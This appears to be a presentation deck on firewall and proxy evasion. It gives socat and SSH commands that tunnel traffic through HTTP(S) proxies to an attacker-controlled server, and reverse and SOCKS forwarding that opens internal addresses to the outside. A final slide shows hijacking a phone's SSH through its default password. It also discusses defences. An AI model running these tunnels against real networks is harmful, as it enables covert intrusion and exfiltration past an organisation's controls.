DEFEATING THE NETWORK SECURITY INFRASTRUCTURE

How to get out, back in or ... simply let everyone in ... without being detected!
Common Sense

- This is for education only and should not be used for any illegal, hacking or other activity that might cause harm or damage of any kind.

- Only try this in an isolated lab environment to prevent accidental exposing of network services.
Assumption (1)

- The attacker is allowed to bring in
  - an USB flash disk or CDROM

- Access to a fully patched PC
  - AV and Personal Firewall may be installed or the attacker brings his own PC.

- No exploits

- Access to an external web server under the attacker’s control
Assumption (2)

- **A very restrictive firewall policy**
  - Nothing is allowed out 😊
    - Exception
      - HTTP(s) is allowed directly
      - HTTP(s) is allowed via an HTTP(s) proxy
        - No authentication
        - BASIC auth
        - NTLM auth (not tested yet)
  - Nothing is allowed in
Tools

- **SOCAT**
  - [http://www.dest-unreach.org/socat/](http://www.dest-unreach.org/socat/)

- **SSH client**
  - Standard SSH client
    - [PUTTY suite](http://www.putty.org/)
    - [OPENSSH SSH client](http://www.openssh.org/)

- **NTLM authorization proxy**
  - [http://ntlmmaps.sourceforge.net](http://ntlmmaps.sourceforge.net)

- **Backtrack**
  - [http://www.remote-exploit.org/backtrack.html](http://www.remote-exploit.org/backtrack.html)
Preparing an escape route
Introduction

- SOCAT is a utility that relays data between 2 data channels
  - Socket, files, PIPE ...

Example

- Any data SOCAT receives on port 6666 is relayed to www.company.com on port 80

  # socat TCP4-LISTEN:6666 TCP4:www.company.com:80

  ![Diagram](IMAGE)

  Works for HTTP, TELNET, SSH ...
How to test?

- **netcat**
  
  ```
  # nc 127.0.0.1 6666
  ```

- **telnet**
  
  ```
  # telnet 192.168.123.81 6666
  ```

- **Socat (as client software)**
  
  ```
  # socat STDIO TCP:127.0.0.1:6666
  or
  # socat STDIO TCP:192.168.123.81:6666
  ```
Accessing SSL enabled services

- SOCAT can be used to access SSL enabled services

```
# socat TCP4-LISTEN:6666 OPENSSL:192.168.123.50:443
```

- Works for HTTPS, IMAPS, POPS, LDAPS ...
Demo

Shell - Konsole <4>

bt ~ # nc 192.168.123.81 6666
GET / HTTP/1.0
HTTP/1.1 401 Access Denied
Server: Microsoft-IIS/5.1
Date: Sat, 24 May 2000 26:07:27 GMT
WWW-Authenticate: Negotiate
WWW-Authenticate: NTLM
Content-Length: 4431
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html dir=ltf>
<head>
<style>
a:link {font:8pt/11pt verdana; color:FF0000}
a:visited {font:8pt/11pt verdana; color:#4e4e4e}
</style>

<META NAME="ROBOTS" CONTENT="NOINDEX">

Shell - Konsole <2>

bt ~ # socat TCP4-listen:6666,bind=192.168.123.81 OPENSSL:192.168.123.50:443,verify=0
bt ~ #
Escaping through a proxy

- SOCAT can forward connections through an HTTP proxy

```
# socat TCP4-LISTEN:6666 TCP4:proxy.company.com:8080
```
Escaping via the proxy using SSL

- SSL connections can be proxied through a HTTP proxy using the CONNECT method

```bash
# socat TCP4-LISTEN:6666 /
PROXY:proxy.company.com:ssl.company.com:443
```

- Remark: Local listener expects an SSL connection
Demo
Forwarding SSH over a proxy

- Relaying a SSH over an open proxy.
  - very often not allowed
    - open proxies do exist “in the wild”
  - mostly only on TCP 443 can be relayed using the CONNECT method (but don’t panic yet 😊)

```bash
#socat TCP4-listen:6666 /
PROXY:proxy.company.com:ssh.myserver.com:22
```
Creating tunnels
Creating an end-to-end SSL tunnel

- On the attacking machine, SOCAT relays input over the SSL connection

```
#socat TCP4-listen:6666 OPENSSL:my.server.com:443
```

- The SSL tunnel is terminated on the attacker’s server and forwarded to a listening TCP socket

```
#socat OPENSSL-LISTEN:443,cert=path_to_cert TCP4:127.0.0.1:22
```
Tunneling

SOCAT (tcp:6666) -> SOCAT (tcp:1234) -> SOCAT (tcp:22)

SOCAT (tcp:6666) -> SOCAT (ssl:443) -> SOCAT (tcp:22)
Tunneling TCP over SSL and Proxy

- When SOCAT_1 connects to SOCAT_2, SOCAT_2 will initiate a CONNECT method to the proxy allowing a SSL connection to be negotiated between SOCAT_1 and SOCAT_3.

```bash
#socat TCP4-listen:6666 OPENSSL:localhost:4444

#socat TCP4-listen:4444 PROXY:proxy.company.com:my.server.com:443

#socat OPENSSL-LISTEN:443,cert=path_to_cert TCP4:127.0.0.1:22
```
Handling NTLM authentication

- NTLM authentication
  - An additional NTLM Authorization Proxy Server might be inserted to authenticate to the http_proxy, if required.
Any TCP connection can be mapped in this way across firewalls, proxies, IDS ..... and of course, securely and almost invisible !!
Introducing SSH over SSL

- SSH can be tunneled through the established SSL tunnel

```
# ssh username@127.0.0.1 -p 6666
```
SSH options -L

- Option -L

```bash
# ssh username@127.0.0.1 -p 6666 -L 3333:127.0.0.1:2222
```

- Data received on the listening client socket is forwarded over the SSH connection (wrapped into the SSL tunnel) to SSH server.

- The SSH server forwards the data over a new TCP connection to destination specified
  - Localhost
  - Any IP address !!
SSH options -R

- Option -R

```bash
# ssh username@127.0.0.1 -p 6666 -R 3333:127.0.0.1:2222
```

- Reverse port forwarding
  - port 3333 accepts incoming connections on the SSH server!
  - Accepted connections are forwarded through the SSH connection (reverse direction) to the SSH client.
  - SSH client originates and establishes a connection to 127.0.0.1:2222
    - Localhost
    - Any INTERNAL IP ADDRESS can be specified!!!
SSH options -D

- Option -D
  
  `ssh username@127.0.0.1 -p 6666 -D 1080`

- SOCKS proxy
  
  Port 1080 accepts incoming connections on the SSH client and forwards the request to the SSH server acting as a socks proxy.
Game over ?!?
Additional tricks

- Use non of non-standard ports
- "optimizing" SSL
  - X.509 client certificates
  - "strong" ciphers to protect SSL tunnels being arp spoofed ...
- Fine tuning SOCAT options
  - fork, su, proxyport ...
- Fragmentation (still does the trick 😊)
Feasibility?

- BackTrack 3 has everything on board
  - Runs from USB, CDROM, Virtual desktops ...
- Similar tools are available for windows platform with limited privileges

- Will it work from your network?
  - 99% chance?
  - Do I really need the most complicated scenario?
    - No direct TCP connections to the outside?
What can I do about it?

- Very restrictive desktop policy
  - No USB support
  - No boot from CDROM/USB
  - No possible way to install software
  - Bios passwords

- Baseline traffic
  - Effectiveness?

- Advanced forward proxy technology
  - Feasibility and impact?

- Other solutions?
Things to think about

- Network firewalls CANNOT help you ...
- IDS/IPS will not help ...
- Content Security proxies will not help ...
- What about outbound (SSL) VPN connections?
  - Very dangerous in this respect!
  - Network layer functionality
- OPENVPN can be tunneled!
  - Very rich feature set
    - Bridging networks
Questions ?
Snow White was almost killed by an apple ...

- Imagine a “zipphoned” MP3 player enabled phone on a public wireless network and xxradar being bored ...

```
c:\pscp root@phoneip:/etc/ssh_config ./
c:\write sshd_config change accordingly ;-)  
c:\pscp ./sshd_config root@phoneip:/etc/sshd_config  
... SSH into the phone and relaunch SSH or reboot ...
c:\plink root@phoneip -D 1080
```

- Any idea what this means ???
  - No? you better turn of your phone then 😊
  - Oh yes I forgot, there is a standard password on that “zipphoned” MP3 player enabled phone!
Thank you for listening!

Philippe Bogaerts
philippe.bogaerts at radarhack.com
http://www.radarhack.com
http://www.radarsec.com

Reviewed by Kris Boulez (Asure)